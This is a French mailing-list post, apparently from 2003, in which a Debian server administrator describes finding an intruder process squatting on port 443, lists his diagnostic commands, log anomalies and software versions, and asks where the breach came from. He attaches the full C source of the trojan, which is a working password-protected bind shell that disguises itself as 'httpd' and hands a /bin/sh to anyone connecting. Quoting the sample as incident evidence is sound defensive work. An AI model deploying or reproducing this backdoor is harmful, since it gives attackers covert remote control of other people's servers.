Bonjour � tous,
Voil�, depuis quelques jours (le 30 juillet en fait), j'ai des
probl�mes sur mon serveur avec mon samba qui marche tr�s difficilement
et surtout mon apache qui refuse de se lancer sous pr�texte que
quelqu'un d'autre utilise son port 443 (il y a bien un site qui tourne
en https !) N'ayant pas eu le temps de regarder plus t�t qu'aujourd'hui,
j'ai arret� le d�mons samba et laiss� � l'arret apache... Mais
aujourd'hui en regardant de plus pr�s, horreur ! ;-) Voici quelques
commandes et leur r�sultat qui m'a permis de trouver le coupable...
#netstat -a | grep https
tcp 0 0 *:https *:*
LISTEN // le port est ouvert...
#ps aux|grep apa
root 16130 0.0 0.0 1332 424 pts/1 R 14:36 0:00 grep apa
//prouve qu'il n'y a pas d'apache en lancement
# lsof -i | grep https
logs 24497 www-data 17u IPv4 1376544 TCP *:https (LISTEN)
//montre l'intrus !
En faisant un #find / -name logs, j'ai fini par le retrouver dans le
r�pertoire /tmp, s'y trouvais aussi le code source (ci-joint en
attachement).
Voici le d�tail des 2 fichiers :
-rw-r--r-- 1 www-data www-data 1828 Mar 26 21:03 bd.c
-rwxr-xr-x 1 www-data www-data 7535 Jul 29 00:54 logs*
Ce qui est fort �trange c que dans le code le port normalement utilis�
est 44999 alors que moi, il tournait sur le port 443 chez moi...
Aussi en regardant le code, les messages sont si je ne me trompe en
portugais et si je ne me trompe ne fait qu'ouvrir un shell sur un port
prot�g� par password ?
Il y a d�j� eu quelques d�buts de threads sur les newsgroup mais aucun
de bien convaincant � ce propos...
Donc � priori, ce trojan serait arriv� par Apache ou un de ses mods,
j'ai donc cherch� dans mes logs d'apache et l� j'ai d�couvert qu'il y
avait un trou dans les logs de 00:40 � 01:26 dans tous les logs
d'Apache... De plus j'ai dans un log d'un virtual host qui normalement
ne sert qu'� afficher la page de blocage de squidguard :
200-163-062-218.cbabm7003.dsl.brasiltelecom.net.br - -
[29/Jul/2003:01:26:10 +0200] "GET / HTTP/1.0" 200 1354 "-" "Mozilla/4.0
(compatible; MSIE 6.0b; Windows NT 5.0)" M�me si c'est apr�s "l'heure
du crime" (:-D), cette entr�e n'est pas normale... (On parle portugais
en plus au Br�sil, non ?)
Le serveur est un PIII800 avec 260GB de disque dur, tous les paquets
sont ceux qui viennet de la version stable de Woody sauf ceux concernant
Apache et ces mods justement... Ces derniers viennent de
http://debian.moolfreet.com, j'ai donc les versions suivantes :
Apache/1.3.26, php4 4.2.3, MySQL 4.0.13-1 Il y aussi � rajouter � PHP,
la suite de ZEND : Zend Performance Suite 3.5.0 qui plante relativement
souvent d'ailleurs et me laisse tjs un zombie ;-)
Le kernel est le 2.4.18-8 fourni par GNU/Debian Woody
Le serveur est bien entendu prot�g� par firewall avec seulement quelques
ports ouverts dont bien s�r ce 443...
Enfin il y a un IDS qui tourne mais bon malheureusement je n'ai pas
encore backport� une version plus r�cente, pour l'instant j'ai donc
Snort 1.8.4-beta1 (Build 91)
Pour le moment j'ai tu� la t�che "logs", depuis mon samba remarche �
merveille et mon apache se relance correctement, mais est-il prudent de
le laisser tourner ?
Bon voil� je pense que j'ai donn� toutes les infos, si quequ'un pouvait
m'aider ou me dire d'o� pourrait venir la faille ce serait cool :)
Amicalement
Freedom66
/*
* Perfect.BR Team - [EMAIL PROTECTED]
* PRIVATE! PRIVATE! PRIVATE!
* DON'T DISTRIBUTE THIS CODE!
*/
#include <stdio.h>
#include <netdb.h>
#include <strings.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>
#define PORT 44999
#define PASSWORD "perfectbr"
#define HIDES "httpd"
int main(int argc, char *argv[])
{
char pass[256];
char *fuckmsg = "\nPode tentar Lammer Fela da Puta!\n";
char *welcome = "\n\nBem vindo a shell remota do Perfect.BR Team by
Sl4yD! :D\n\n";
int sockfd, newfd, size, i;
int cpid, spid;
struct sockaddr_in sin;
struct sockaddr_in addr;
strncpy(argv[0],HIDES,15);
if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1 )
exit(-1);
bzero((char*)&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(PORT);
sin.sin_addr.s_addr = htonl(INADDR_ANY);
if( bind(sockfd, (struct sockaddr *)&sin, sizeof(sin)) == -1 )
exit(-1);
if( fork() != 0 )
exit(0);
setpgrp();
signal(SIGHUP, SIG_IGN);
if( fork() != 0 )
exit(0);
if( listen(sockfd, 5) != 0 )
exit(0);
while(1)
{
size = sizeof(addr);
if((newfd=accept(sockfd,(struct sockaddr *)&addr, &size)) < 0)
exit(0);
cpid = getpid();
spid = fork();
if( spid != 0 )
{
if((i=recv(newfd, pass, 256, 0)) == -1)
continue;
pass[i] = '\0';
if(strstr(pass,PASSWORD) != NULL)
{
send(newfd,welcome,strlen(welcome),0);
dup2(newfd,0);
dup2(newfd,1);
dup2(newfd,2);
execl("/bin/sh", "bash", "-i", (char *)0);
close(newfd);
exit(0);
}
else
{
send(newfd,fuckmsg,strlen(fuckmsg),0);
close(newfd);
exit(0);
}
}
}close(newfd);
}
/*
*
*/